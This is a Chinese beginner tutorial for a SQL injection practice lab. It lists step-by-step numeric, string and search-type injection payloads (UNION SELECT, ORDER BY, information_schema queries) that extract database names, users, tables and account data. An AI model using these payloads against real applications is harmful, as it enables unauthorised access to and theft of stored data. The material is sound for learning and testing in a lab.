SQL注入靶场实战-小白入门

2023-06-05,,

目录
SQL注入
数字型
1.测试有无测试点
2.order by 语句判断字段长,查出字段为3
3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3)
4.猜数据库名,用户
5.联合查询(group_concat())点代表下一级,猜解当前数据库pentest中所有的表名。
6.猜列名( account 表和 news 表)
7.查询表中的数据
字符型
1.判断是否存在注入
2.接下来利用order by判断字段长,带入SQL查询语句可直接查询出数据(查询语句和数字型一样)
搜索型
1.搜索型需要多闭合一个%,其他都与前面类似

SQL注入

数字型

1.测试有无测试点

and 1=1,and 1=2

2.order by 语句判断字段长,查出字段为3

order by 语句用于根据指定的列对结果集进行排序

order by后可以加列名,也可以加数字(代表第几列)

id = 1 order by 3(数字) //返回正常
id = 1 order by 4(数字) //返回异常 //说明字段长为3

3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3)

id= -1 union select 1,2,3

4.猜数据库名,用户

id =-1 union select 1,database(),user()

5.联合查询(group_concat())点代表下一级,猜解当前数据库pentest中所有的表名。

id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

6.猜列名( account 表和 news 表)

id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'

id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'

7.查询表中的数据

id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from news limit 0,1

id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from account limit 0,1


字符型

1.判断是否存在注入

1' or '1'='1      //返回正常
1' or '1'='2 //返回异常

2.接下来利用order by判断字段长,带入SQL查询语句可直接查询出数据(查询语句和数字型一样)

1' order by 3#       //返回正常
1' order by 4# //返回异常

//注意#号用途:#起注释作用,会注释掉后面的' 单行注释还可用-- (--后面需加一个空格)

//注意后面的SQL查询语句末尾都得加一个#


搜索型

1.搜索型需要多闭合一个%,其他都与前面类似

首先判断注入点

1%' or 1=1#
1%' or 1=2#

下面就和前面数字型步骤一样,带入查询语句即可

1%' union select 1,database(),user()#    	  //比如这里查询数据库名和用户

SQL注入靶场实战-小白入门的相关教程结束。

《SQL注入靶场实战-小白入门.doc》

下载本文的Word格式文档,以方便收藏与打印。